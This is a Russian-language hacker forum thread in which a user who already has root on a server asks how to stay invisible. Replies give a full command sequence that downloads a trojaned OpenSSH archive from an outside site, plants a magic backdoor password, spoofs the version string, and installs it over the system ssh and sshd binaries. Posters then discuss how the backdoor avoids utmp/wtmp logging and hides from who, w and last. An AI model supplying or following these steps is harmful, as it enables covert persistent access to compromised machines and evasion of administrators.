Есть рут. Хочу стать невидимым Думаю оптимальным решением станет затроянивание SSH. Стоит OpenSSH_4.3p2. В сети нашел патч только для версий 4.4 и выше. Сам вникать и писать код пока не хочу. Кто может чем помочь?
В файле version.h указать нужную версию, в includes.h прописать магический пароль вместо mAgic_p1ple. Перед make install не забыть сбекапить куда-нибудь /usr/bin/ssh и /usr/sbin/sshd. Code: # cd /tmp # wget http://tools.xaker.ru/rulezzz.tar.gz.txt -O rul.tgz # tar zxf rul.tgz # cd openssh* # vim version.h # vim includes.h # ./configure --sbindir=/usr/sbin --bindir=/usr/bin --with-pam --sysconfdir=/etc/ssh # make && make install # /etc/init.d/sshd restart
Спасибо, а ничего что там версия 4.7? kill -9 $$ да чтоб в логи не писалось и мэджик пасс был. кстати если админ наберет команду who, то я спалюсь все равно? и еще тупой вопрос: если демон не запуститься изза какой-либо ошибки, то всё, хана?
Без сюрпризов Если войдёшь под магическим паролем, то не спалишься. Если такое произойдёт, то восстанавливай из бекапа файлы sshd и ssh, затем перезапускай сервер.
а какая тебе разница, что за версия там? Исправь в сорцах версию на ту что на сервере, админ разницы не почуствует.
PAM хорош для ловли паролей системных пользователей и ещё как универсальное средство попасть в систему. Огромным минусом при юзании бэкдоров использующихне PAM это то, что такие сервисы, как SSH, сами заносят записи в utmp/wtmp и приходится каждый раз запускать логклинер.
ORLY?? имхо - стартануть новый веселый sshd на другом порту (с отдельным конфигом) из-под рута, так можно проверить работоспособность веселого sshd, хотя в упор не понимаю как с пом. веселого sshd можно стать невидимым, разве что не будет писать "Last login: Fri Jun 18 20:57:18 2010 from 127.0.0.1" нопремер для рута, но тогда остаются ps, who, w, last, соединения из netstat, которые надо скрывать
>но тогда остаются ps, who, w, last, соединения из netstat Отчасти верно, но в протрояненом SSH отключено занесение в логи utmp/wtmp(при подключении с магик паролем), отсюда следует что: 1. В last он не светится 2. who тоже его не показывает, так же как и w К сожелению светится в ps, netstat и т.д., но как показывает практика 90% админов этого даже не видят